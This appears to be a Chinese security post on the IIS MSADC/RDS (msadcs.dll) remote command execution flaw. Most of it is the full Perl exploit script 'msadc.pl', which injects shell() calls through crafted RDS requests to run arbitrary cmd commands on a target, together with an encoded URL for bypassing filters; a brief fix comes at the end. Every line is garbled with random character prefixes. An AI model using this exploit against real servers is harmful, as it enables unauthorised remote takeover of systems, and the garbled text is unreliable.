IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c^}y9% 4c '*J+mZt N 涉及程序：
7;jD>wp 9D Microsoft NT server
"O34 E?ql. \|=6<ZY: 描述：
oe<i\uX8z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u\\t ~<8 Hw \of 详细：
$/wm k7 T 如果你没有时间读详细内容的话，就删除:
e]4$H.dP
c:\Program Files\Common Files\System\Msadc\msadcs.dll
2<D | { 有关的安全问题就没有了。
X^\D"fmE. 3^8Cc(bk 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
a d LL7 z33UER" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
CG1MT(V7? 关于利用ODBC远程漏洞的描述，请参看:
= %<=Bn hG tz[u#p http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PR8nJts W5 Xf
u 0d1b 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Q-7?'\h http://www.microsoft.com/security/bulletins/MS99-025faq.asp z; GQnAG@ g=Z52y`N < 这里不再论述。
25>R^2,LiE * %D_\0; 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%"WENa/t ifD WN*k6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
nPyn~3 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
I~4z%UG 2e_ Di(us Qs 1p #将下面这段保存为txt文件，然后: "perl -x 文件名"
JK$3qUDnI u)oAQ<w #!perl
J!:BCjRdw #
?eS;Yc # MSADC/RDS 'usage' (aka exploit) script
YBt=8`r #
64B.7S88 # by rain.forest.puppy
<>HtXn/ #
x^ `/&+m # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
VYG@ _fd!x # beta test and find errors!
<6UXk[y PUR,r %K` use Socket; use Getopt::Std;
uu6 JZp getopts("e:vd:h:XR", \%args);
|
0 }UPC~kC+Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t^01@ejM+ 3](hMk,} if (!defined $args{h} && !defined $args{R}) {
/.]u%;%r[ print qq~
2%@tnk|@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
ajS B3}PN -h <host> = host you want to scan (ip or domain)
M@[W"f
Wq -d <seconds> = delay between calls, default 1 second
6KddHyFz -X = dump Index Server path table, if available
Ci`o;KVj -v = verbose
DNGyE C
-e = external dictionary file for step 5
O#)1 zD} AjK5x@\ Or a -R will resume a command session
KA2>[x2 8 pnD6Lp> ~; exit;}
*w0! C:mL& +[76 _EXy $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
]IV{;{ E) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x}/jh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
JSL&`
` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}#ink4dK: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
t3)6R(JC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lOm01&^"E H_&to3b( if (!defined $args{R}){ $ret = &has_msadc;
MG?,,8s O die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m)A :w.o ;@Zuet print "Please type the NT commandline you want to run (cmd /c assumed):\n"
gTj,I=3$?e . "cmd /c ";
,p|Q/M^ $in=<STDIN>; chomp $in;
yr xX[Hg?@ $command="cmd /c " . $in ;
Lm[,^k M-@RgWvF if (defined $args{R}) {&load; exit;}
ZID- ~
6 2Q e&F eT print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
A4zI1QF &try_btcustmr;
M'%4BOpI6` W& hW N9iR print "\nStep 2: Trying to make our own DSN...";
m7^f% <l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
, 5W7a 8?Rp2n*o print "\nStep 3: Trying known DSNs...";
v]EMJm6d| &known_dsn;
7Fj8Mp| Y_CYx print "\nStep 4: Trying known .mdbs...";
f1vD{M ; &known_mdb;
d*8*9CpO: iq' PeVo if (defined $args{e}){
k]p|kutQCy print "\nStep 5: Trying dictionary of DSN names...";
jSjC43lh &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0/v]YK. t?"(Zb print "Sorry Charley...maybe next time?\n";
J%?5d:iN+ exit;
d5^^h< ' ei-\t
qY_ ##############################################################################
!q&T d ,: mL\ZED sub sendraw { # ripped and modded from whisker
`,}7LfY sleep($delay); # it's a DoS on the server! At least on mine...
^BA
I/WP my ($pstr)=@_;
Lg<h54X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
# scZP die("Socket problems\n");
Ph yIea if(connect(S,pack "SnA4x8",2,80,$target)){
Gwk$<6E select(S); $|=1;
,8r?C !m] print $pstr; my @in=<S>;
Jg$<2CR& select(STDOUT); close(S);
LDQ,SS, return @in;
V/#Ra } else { die("Can't connect...\n"); }}
'8]p]#l a,w|r#x] ##############################################################################
;`o K5 fg LY{ sub make_header { # make the HTTP request
M
P8Sd1_= my $msadc=<<EOT
Hs)Cf)8u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
e,|gr"$/ User-Agent: ACTIVEDATA
/3M8 ;>@u Host: $ip
5n?P}kca) Content-Length: $clen
4x6n ,:; Connection: Keep-Alive
*QQeK# $s /0}Z>i K ADCClientVersion:01.06
Y# }qXXZ>] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6 J>A U 4'z)J1M --!ADM!ROX!YOUR!WORLD!
V8/4:Va7 s Content-Type: application/x-varg
SMrfEmdH+ Content-Length: $reqlen
z%
bH?1^o jJIP $ EOT
N# }A9t ; $msadc=~s/\n/\r\n/g;
v,iZnANZ&P return $msadc;}
8?iI;( @ eJ8wf] ##############################################################################
a,Pw2Gcid H$Kc~# = sub make_req { # make the RDS request
JlYZ \ my ($switch, $p1, $p2)=@_;
@< P2di my $req=""; my $t1, $t2, $query, $dsn;
n~UI 47 wH?) ZL if ($switch==1){ # this is the btcustmr.mdb query
+ ,Krq 3P $query="Select * from Customers where City=" . make_shell();
l/={aF7+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D^4nT,&8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Oa/zE H P<IDb%W elsif ($switch==2){ # this is general make table query
Bf*>q*%B{ $query="create table AZZ (B int, C varchar(10))";
l WYp $dsn="$p1";}
F q~uuQ o MJ `_ elsif ($switch==3){ # this is general exploit table query
eyK xnBz $query="select * from AZZ where C=" . make_shell();
X.>=&~[ $dsn="$p1";}
X7!q/1$J HThZ4Kg+ elsif ($switch==4){ # attempt to hork file info from index server
w W\[#Ku $query="select path from scope()";
Zp)=l Td $dsn="Provider=MSIDXS;";}
$w*L'
< 4|K\pCw elsif ($switch==5){ # bad query
UF7h{V}) $query="select";
f|,Kh1{e $dsn="$p1";}
{_N9<i{T wPM&N@Pf $t1= make_unicode($query);
s)- ;74( $t2= make_unicode($dsn);
wj6u,+ $req = "\x02\x00\x03\x00";
Hk*1Wrs* $req.= "\x08\x00" . pack ("S1", length($t1));
e' M&Eh $req.= "\x00\x00" . $t1 ;
Imv#7{ndq $req.= "\x08\x00" . pack ("S1", length($t2));
@$jV"Y $req.= "\x00\x00" . $t2 ;
l$&~(YE f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Os<E7l zqO return $req;}
F6}RPk\=i t~(jA9n ##############################################################################
p=:Vpg<! ZGZNZ}~# sub make_shell { # this makes the shell() statement
n1PptR return "'|shell(\"$command\")|'";}
}sH[_%) N[@H107` ##############################################################################
DURWE,W> 8GP17j sub make_unicode { # quick little function to convert to unicode
$~1vXe my ($in)=@_; my $out;
@[lM h9` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Bh& pZcm| return $out;}
dCi:@+z8 dJgLS^1E ##############################################################################
;~<To9O KFbB}oId sub rdo_success { # checks for RDO return success (this is kludge)
3'.@aMA@ my (@in) = @_; my $base=content_start(@in);
bVUIeX' if($in[$base]=~/multipart\/mixed/){
n/skDx TE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
#B5,k|"/,M return 0;}
s21}
a,eB 67iI wY*8' ##############################################################################
!Q[v"6? y2I7Zd . sub make_dsn { # this makes a DSN for us
rD=D.1_
my @drives=("c","d","e","f");
-g~+9/;n print "\nMaking DSN: ";
Nhs!_-_I foreach $drive (@drives) {
0 cycnOd print "$drive: ";
m}'_Poc my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
XX/gS=NE#. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\Sd8PGl*' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H<Sf 0>OA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(1'DZ xJ&u return 0 if $2 eq "404"; # not found/doesn't exist
i"G'#n~e if($2 eq "200") {
?z1v_ Jh foreach $line (@results) {
Oin9lg -jR return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(j'\h/ } return 0;}
r""rJzFz' 3Cj) upc ##############################################################################
I&+.I K_ w&?XsO@0W sub verify_exists {
nW)+-Wxq my ($page)=@_;
/i"hViCrlG my @results=sendraw("GET $page HTTP/1.0\n\n");
1*8;)#%& return $results[0];}
6= ; :[ $/M-@3wro ##############################################################################
Z
i6s0Uck V8/d27\ sub try_btcustmr {
-US:a8` my @drives=("c","d","e","f");
zz*PAYl. my @dirs=("winnt","winnt35","winnt351","win","windows");
[8 Pt$5]^ :dt[ # foreach $dir (@dirs) {
_<c"/B print "$dir -> "; # fun status so you can see progress
ARu_S
B foreach $drive (@drives) {
s-IE}I?; print "$drive: "; # ditto
B!/kC)bF: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=R=V $reqlenlen=length( "$reqlen" );
_BP%@o $clen= 206 + $reqlenlen + $reqlen;
^f,4=- !Axe}RD' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!}!KT(% % if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
~3 :VM_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D
5r H6*J i%9vZ ##############################################################################
m ~&
<'4 Wne.z! sub odbc_error {
D;!sH?J@ + my (@in)=@_; my $base;
`Xos]L'w my $base = content_start(@in);
dq '2y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9} 6 _B| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m EJ7e# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]pvHs iI: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
MZz9R*_VS return $in[$base+4].$in[$base+5].$in[$base+6];}
P7-k!p" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
H=BI%Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s^zlBvr|. $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I#MPJ@*WT fo,0NxF9 ##############################################################################
9Q1%+zjjMq Q Dn_`c sub verbose {
J ,Ki2'= my ($in)=@_;
Z)| ~ return if !$verbose;
TAUl{??, print STDOUT "\n$in\n";}
"zq'nV= -
jZAvb ##############################################################################
:XY%@n PaSwfjOnqr sub save {
MQP9^+f)O? my ($p1, $p2, $p3, $p4)=@_;
R%3yxnM* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Z@euO ~e~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'b.jKkW7 close OUT;}
]ePg6 wK2$hsque ##############################################################################
QT+kCN US)i"l7:H* sub load {
us.[wp'Sh my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C[,h! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@S3 L%lOH @p=<IN>; close(IN);
) ' xyK $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
*R+M#l9D` $target= inet_aton($ip) || die("inet_aton problems");
1< vJuF^ print "Resuming to $ip ...";
wxHd^b $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
X.#*+k3s0 if($p[1]==1) {
!ldEy#"X $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2;sTSGD G $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
uM$b/3%s my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
M< Bo<,!ua if (rdo_success(@results)){print "Success!\n";}
r#WqX h_uk else { print "failed\n"; verbose(odbc_error(@results));}}
P1OYS\ elsif ($p[1]==3){
e r_6PV if(run_query("$p[3]")){
\Yj_U'2"i print "Success!\n";} else { print "failed\n"; }}
)$p36dWl elsif ($p[1]==4){
n}Z%-w$K# if(run_query($drvst . "$p[3]")){
0dwD ?GG2 print "Success!\n"; } else { print "failed\n"; }}
K_+M?ap_ exit;}
<,DMD t ? &; ##############################################################################
aO$0[-A 7a_8007$l sub create_table {
9% kO%j,3 my ($in)=@_;
<&[`
+ $reqlen=length( make_req(2,$in,"") ) - 28;
#*:1C h]B $reqlenlen=length( "$reqlen" );
<q'?[aKvR $clen= 206 + $reqlenlen + $reqlen;
zr ez* my @results=sendraw(make_header() . make_req(2,$in,""));
;L:UYhDbUx return 1 if rdo_success(@results);
o Tvg%bX my $temp= odbc_error(@results); verbose($temp);
z@UH[>^gj return 1 if $temp=~/Table 'AZZ' already exists/;
@wD#+ O z
return 0;}
O)^F z: kR1
12 J9P ##############################################################################
]foS.D, ,sj( g/hg sub known_dsn {
?6*\ M # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
`%|3c my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1?)h-aN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
%ly&~&0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
bo/U5p R}(Rv3>Xx foreach $dSn (@dsns) {
u L v print ".";
, r3`u2) next if (!is_access("DSN=$dSn"));
EQoK\.;
G~ if(create_table("DSN=$dSn")){
I.t)sf, print "$dSn successful\n";
DBy%"/c if(run_query("DSN=$dSn")){
,M HK|8! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1WaQWZ:= print "Something's borked. Use verbose next time\n";}}} print "\n";}
dgQ<>+9]6 @RB^m(> 5 ##############################################################################
!gyW15z' '~yxu$aK sub is_access {
O\q6T7bfRW my ($in)=@_;
!*DY dqQ/ $reqlen=length( make_req(5,$in,"") ) - 28;
M.SF }U $reqlenlen=length( "$reqlen" );
WTD86A $clen= 206 + $reqlenlen + $reqlen;
.`KzA]&# my @results=sendraw(make_header() . make_req(5,$in,""));
\|vo@E my $temp= odbc_error(@results);
p}~Sg i verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ym rnu-p o return 0;}
,4 ,Bc< F'wG % ##############################################################################
9[~.{{Y DQ$m@_/4w sub run_query {
l^ tRy_T:- my ($in)=@_;
Z[ !kEW $reqlen=length( make_req(3,$in,"") ) - 28;
bOYM-\
{y $reqlenlen=length( "$reqlen" );
dM}c-=w` $clen= 206 + $reqlenlen + $reqlen;
u=PLjrB~} my @results=sendraw(make_header() . make_req(3,$in,""));
L8E4|F} return 1 if rdo_success(@results);
>`WQxkpy my $temp= odbc_error(@results); verbose($temp);
- ]/=WAOK return 0;}
wtL=^ Z1$ S(p=)L ##############################################################################
&n?RKcH}d C w!t B1D sub known_mdb {
"KCG']DF my @drives=("c","d","e","f","g");
I=Y_EjZ D my @dirs=("winnt","winnt35","winnt351","win","windows");
7<:o4\q?m my $dir, $drive, $mdb;
|U'` Sc my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xA;)0 2 modem6#x' # this is sparse, because I don't know of many
',Z]w;D!G my @sysmdbs=( "\\catroot\\icatalog.mdb",
Z @DDuVr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5l,Lp'k "\\system32\\certmdb.mdb",
wKcuI c$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{Gh9(0,B? CE
(zt my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+u |SX/C "\\cfusion\\cfapps\\forums\\forums_.mdb",
lP4s"8E`h "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
mDt!b6N/ "\\cfusion\\cfapps\\security\\realm_.mdb",
rw
2i_,.*~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3:w_49~: ~ "\\cfusion\\database\\cfexamples.mdb",
/&qE,>hd.+ "\\cfusion\\database\\cfsnippets.mdb",
O|Y`:xvc "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
h8k\~/iJ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
p")"t`k7 "\\cfusion\\brighttiger\\database\\cleam.mdb",
zk@s#_3ct "\\cfusion\\database\\smpolicy.mdb",
< h|&7 "\\cfusion\\database\cypress.mdb",
Q`O~ f<a "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^VnnYtCRz "\\website\\cgi-win\\dbsample.mdb",
0e:j=kd)NH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@5 ?? `n "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_9=cxw i<w ); #these are just
klc$n07 foreach $drive (@drives) {
J}bLp
Z foreach $dir (@dirs){
:"nh76xg< foreach $mdb (@sysmdbs) {
5)rN#_BKj print ".";
Fo0s<YlS- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2H] 7 =j print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/nh3/[u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Z BH^0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
M4
})) } else { print "Something's borked. Use verbose next time\n"; }}}}}
1'\s7P -) +B!"1 foreach $drive (@drives) {
}t| i1{%_ foreach $mdb (@mdbs) {
BNO+-ob- print ".";
X-CoC
if(create_table($drv . $drive . $dir . $mdb)){
|NTqJ j print "\n" . $drive . $dir . $mdb . " successful\n";
W Xf[W if(run_query($drv . $drive . $dir . $mdb)){
LF{8hC[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m}beT~FT_ } else { print "Something's borked. Use verbose next time\n"; }}}}
%n,_^voE }
DHvZ:)aT } A&jR-%JG ##############################################################################
%Yg|QBm| _Wp.s]D [ sub hork_idx {
" w /Odd print "\nAttempting to dump Index Server tables...\n";
{g4w[F!77 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
y\:Ma 7V $reqlen=length( make_req(4,"","") ) - 28;
^FT S'/Q $reqlenlen=length( "$reqlen" );
X #$l7I9H $clen= 206 + $reqlenlen + $reqlen;
Qip@L WvT my @results=sendraw2(make_header() . make_req(4,"",""));
#g2&x sU if (rdo_success(@results)){
XrXW6s ;Z my $max=@results; my $c; my %d;
|v#rSVx for($c=19; $c<$max; $c++){
gTLBR $results[$c]=~s/\x00//g;
o>]z~^c $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
m*l cIa $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
yI-EF)A@; $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#B!M,TWf9s $d{"$1$2"}="";}
k2#|^N foreach $c (keys %d){ print "$c\n"; }
wT,=C' } else {print "Index server doesn't seem to be installed.\n"; }}
va"bw!zXo* 9@nd>B ##############################################################################
* vqUOh ^8dCFw.rU sub dsn_dict {
]1[:fQF7/L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.E7"Lfs- while(<IN>){
alsD TQ' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4`o<e)c3 next if (!is_access("DSN=$dSn"));
\0e`sOS` L if(create_table("DSN=$dSn")){
{=U*!`D print "$dSn successful\n";
~g@}A if(run_query("DSN=$dSn")){
M[u6+` print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]$-<< N{}' print "Something's borked. Use verbose next time\n";}}}
=<K6gC27 print "\n"; close(IN);}
9pWSvalw9 *dC&*6Rx ##############################################################################
6y^GMls I { lppv( U sub sendraw2 { # ripped and modded from whisker
U+[ "b-c sleep($delay); # it's a DoS on the server! At least on mine...
m !i`|]m my ($pstr)=@_;
6 =G=4{q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s+=':Gcb(C die("Socket problems\n");
f)r6F JLU if(connect(S,pack "SnA4x8",2,80,$target)){
H%}/O;C print "Connected. Getting data";
|tse"A5Z open(OUT,">raw.out"); my @in;
rrphOG select(S); $|=1; print $pstr;
LEX @hkh while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
f'M([gn^_ close(OUT); select(STDOUT); close(S); return @in;
fILvEf4b } else { die("Can't connect...\n"); }}
ID{XZ $++ O@ C5 ##############################################################################
L
gy^ ^. {r5OtYmpR sub content_start { # this will take in the server headers
)dJx82"
l my (@in)=@_; my $c;
cVr+Wp7K#| for ($c=1;$c<500;$c++) {
(zk/>Ou if($in[$c] =~/^\x0d\x0a/){
ovi^bNQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|goK@ < else { return $c+1; }}}
% w return -1;} # it should never get here actually
Fw}|c 9}4~3_gv;M ##############################################################################
jmP; (j.| ',rK\&lL6 sub funky {
(I35i!F+tY my (@in)=@_; my $error=odbc_error(@in);
47f \ if($error=~/ADO could not find the specified provider/){
Y zmMF print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,^DP exit;}
B^d di if($error=~/A Handler is required/){
A<( DYd1H print "\nServer has custom handler filters (they most likely are patched)\n";
Ea-U+7JC exit;}
GY^;$ ? if($error=~/specified Handler has denied Access/){
{.y_{yWo print "\nServer has custom handler filters (they most likely are patched)\n";
C46jVl exit;}}
#~.RJ% Io&HzQW^a ##############################################################################
'6*9pG- 7;&,L H sub has_msadc {
Sn'
+~6i my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
L1y71+iqU my $base=content_start(@results);
Vobq| Rd/% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.;l`VWP return 0;}
o)R< sT G!h7 5G20 ########################
/?Mr2!3N Y hC|hDC l@- h.tS 解决方案：
(=EDqAZg 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>vO+k^'Y 2、移除web 目录: /msadc
